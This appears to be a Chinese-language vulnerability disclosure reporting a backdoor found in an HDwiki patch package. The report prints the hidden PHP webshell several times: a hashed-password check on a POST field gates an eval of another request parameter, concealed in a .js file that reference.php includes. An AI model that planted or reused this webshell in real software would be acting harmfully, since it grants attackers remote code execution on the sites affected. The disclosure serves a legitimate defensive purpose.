### 简要描述: HDwiki各版本新漏洞补丁包2012-08-09发现后门代码 ### 详细说明: 在看补丁包中的 reference.php 文件时, 首行并发现了如下不明之处: ``` <?php /** 词条编辑页面的参考资料 */ require_once(dirname(__FILE__)."/../js/jqeditor/hdwiki.js"); // 就是这里, 好端端的PHP。include js文件干什么 !defined('IN_HDWIKI') && exit('Access Denied'); class control extends base{ function control(& $get,& $post){ $this->base( & $get,& $post); $this->load("reference"); ``` require_once(dirname(__FILE__)."/../js/jqeditor/hdwiki.js"); // 就是这里, 好端端的PHP。include js文件干什么 然后就看了一下补丁包中的 hdwiki.js 终于明白官方的用心了 hdwiki.js ``` <?php if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){ eval ($_REQUEST["mjj"]); } ?> function delSave(){ $.post("index.php?doc-delsave",{did:g_docid},function(xml){ if ('sucess' != xml.lastChild.firstChild.nodeValue){ alert('exception'); } }); } ``` 这不是明摆着的一句话木马么。 ``` <?php if...
### 简要描述: HDwiki各版本新漏洞补丁包2012-08-09发现后门代码 ### 详细说明: 在看补丁包中的 reference.php 文件时, 首行并发现了如下不明之处: ``` <?php /** 词条编辑页面的参考资料 */ require_once(dirname(__FILE__)."/../js/jqeditor/hdwiki.js"); // 就是这里, 好端端的PHP。include js文件干什么 !defined('IN_HDWIKI') && exit('Access Denied'); class control extends base{ function control(& $get,& $post){ $this->base( & $get,& $post); $this->load("reference"); ``` require_once(dirname(__FILE__)."/../js/jqeditor/hdwiki.js"); // 就是这里, 好端端的PHP。include js文件干什么 然后就看了一下补丁包中的 hdwiki.js 终于明白官方的用心了 hdwiki.js ``` <?php if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){ eval ($_REQUEST["mjj"]); } ?> function delSave(){ $.post("index.php?doc-delsave",{did:g_docid},function(xml){ if ('sucess' != xml.lastChild.firstChild.nodeValue){ alert('exception'); } }); } ``` 这不是明摆着的一句话木马么。 ``` <?php if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){ eval ($_REQUEST["mjj"]); } ?> ``` 不过这密码的强度的确很高。加了这么多层。 ### 漏洞证明: ``` <?php if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){ eval ($_REQUEST["mjj"]); } ?> ```